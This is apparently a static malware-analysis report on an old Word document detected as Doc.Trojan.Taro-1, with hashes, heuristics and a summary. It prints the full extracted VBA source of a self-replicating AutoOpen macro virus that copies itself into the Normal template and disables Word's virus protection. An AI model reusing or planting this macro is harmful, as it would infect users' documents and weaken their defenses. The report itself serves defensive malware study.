Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e77cc7f35b41e486…

MALICIOUS

Office (OLE)

27.5 KB Created: 1980-01-11 05:38:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a4a41407fbdb14173e5a4de5ece31b70 SHA-1: 7be0d302cf602ca04af63dc15d82388be3196d44 SHA-256: e77cc7f35b41e4864a6b1e691aed62c6cf06a36db7160a6f23e0137a6231133a
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The 'AutoOpen' macro attempts to copy itself to the Normal template and modify document properties, indicating an attempt to establish persistence or further compromise the system. The ClamAV detection and heuristic firings strongly suggest malicious intent, likely as a spearphishing attachment.

Heuristics 4

  • ClamAV: Doc.Trojan.Taro-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Taro-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1755 bytes
SHA-256: 871ed3a198eef2b9d6ae272d7c6dbf8fc3162a6fd142aaed451e05e9b5fc4f44
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "taro"
Sub AutoOpen()
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.taro.AutoOpen"
    For i = 1 To ActiveDocument.VBProject.VBComponents.Count
        act = act + (ActiveDocument.VBProject.VBComponents(i).Name = "taro") * -1
        If act = 1 Then a = i Else a = a
    Next
    For i = 1 To NormalTemplate.VBProject.VBComponents.Count
        nor = nor + (NormalTemplate.VBProject.VBComponents(i).Name = "taro") * -1
        If nor = 1 Then n = i Else n = n
    Next
    If act = 0 Then
        NormalTemplate.VBProject.VBComponents(n).Export (NormalTemplate.Path & "\" & "taro.bas")
        ActiveDocument.VBProject.VBComponents.Import (NormalTemplate.Path & "\" & "taro.bas")
        Options.VirusProtection = False
        ActiveDocument.Save
    End If
    If nor = 0 Then
        ActiveDocument.VBProject.VBComponents(a).Export (NormalTemplate.Path & "\" & "taro.bas")
        NormalTemplate.VBProject.VBComponents.Import (NormalTemplate.Path & "\" & "taro.bas")
        Options.VirusProtection = False
        NormalTemplate.Save
    End If
    If U_Name("") <> "太郎" Then
        U_Name ("太郎")
        ActiveDocument.Save
    End If
    ActiveDocument.Saved = True
    NormalTemplate.Saved = True
End Sub

Function U_Name(NewName As String)
    If NewName = "" Then
        U_Name = ActiveDocument.BuiltInDocumentProperties(3)
    Else
        ActiveDocument.BuiltInDocumentProperties(3) = NewName
    End If
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.